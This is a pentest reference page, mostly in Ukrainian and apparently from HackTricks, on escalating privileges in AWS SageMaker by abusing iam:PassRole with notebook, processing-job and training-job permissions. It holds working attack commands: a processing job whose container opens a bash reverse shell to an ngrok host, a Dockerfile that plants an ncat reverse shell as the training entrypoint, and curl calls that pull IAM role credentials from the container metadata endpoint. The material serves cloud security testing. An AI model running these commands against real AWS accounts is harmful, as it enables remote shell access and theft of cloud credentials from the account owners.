AWS - Sagemaker Privesc

AWS - Sagemaker Privesc

Support HackTricks

iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl

Почніть створювати нотатник з IAM роллю, щоб отримати доступ до прикріпленого до нього:

aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>

Відповідь повинна містити поле NotebookInstanceArn, яке міститиме ARN новоствореного екземпляра блокнота. Потім ми можемо використовувати API create-presigned-notebook-instance-url, щоб згенерувати URL, який ми можемо використовувати для доступу до екземпляра блокнота, як тільки він буде готовий:

aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>

Перейдіть за URL-адресою в браузері та натисніть на `Open JupyterLab` у верхньому правому куті, потім прокрутіть вниз до вкладки “Launcher” і в розділі “Other” натисніть кнопку “Terminal”.

Тепер можливо отримати доступ до облікових даних метаданих IAM Role.

Potential Impact: Privesc до ролі служби sagemaker, що вказана.

sagemaker:CreatePresignedNotebookInstanceUrl

Якщо на ньому вже запущені Jupyter ноутбуки і ви можете їх перерахувати за допомогою sagemaker:ListNotebookInstances (або виявити їх будь-яким іншим способом). Ви можете згенерувати URL для них, отримати до них доступ і вкрасти облікові дані, як зазначено в попередній техніці.

aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>

Потенційний вплив: Privesc до ролі служби sagemaker, що прикріплена.

sagemaker:CreateProcessingJob,iam:PassRole

Зловмисник з цими дозволами може змусити sagemaker виконати обробку роботи з роллю sagemaker, прикріпленою до неї. Зловмисник може вказати визначення контейнера, який буде запущено в управляємому AWS ECS обліковому записі, і викрасти облікові дані прикріпленої IAM ролі.

# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role>

# In my tests it took 10min to receive the shell
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds

Потенційний вплив: Privesc до ролі служби sagemaker, що вказана.

sagemaker:CreateTrainingJob, iam:PassRole

Зловмисник з цими дозволами зможе створити навчальну задачу, запускаючи довільний контейнер на ній з прикріпленою роллю. Отже, зловмисник зможе вкрасти облікові дані ролі.

Цей сценарій складніше експлуатувати, ніж попередній, оскільки вам потрібно створити образ Docker, який надішле rev shell або облікові дані безпосередньо зловмиснику (ви не можете вказати команду запуску в конфігурації навчальної задачі).

# Create docker image
mkdir /tmp/rev
## Note that the trainning job is going to call an executable called "train"
## That's why I'm putting the rev shell in /bin/train
## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>
cat > /tmp/rev/Dockerfile <<EOF
FROM ubuntu
RUN apt update && apt install -y ncat curl
RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
RUN chmod +x /bin/train
CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
EOF

cd /tmp/rev
sudo docker build . -t reverseshell

# Upload it to ECR
sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
# Create trainning job with the docker image created
aws sagemaker create-training-job \
--training-job-name privescjob \
--resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \
--algorithm-specification '{"TrainingImage":"<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \
--role-arn <role-arn> \
--output-data-config '{"S3OutputPath": "s3://<bucket>"}' \
--stopping-condition '{"MaxRuntimeInSeconds": 600}'

#To get the creds
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer

Потенційний вплив: Privesc до ролі служби sagemaker.

sagemaker:CreateHyperParameterTuningJob, iam:PassRole

Зловмисник з цими дозволами зможе (потенційно) створити роботу з навчання гіперпараметрів, запустивши довільний контейнер на ній з прикріпленою роллю. Я не експлуатував через брак часу, але це виглядає подібно до попередніх експлойтів, не соромтеся надіслати PR з деталями експлуатації.

Посилання

Підтримати HackTricks

Last updated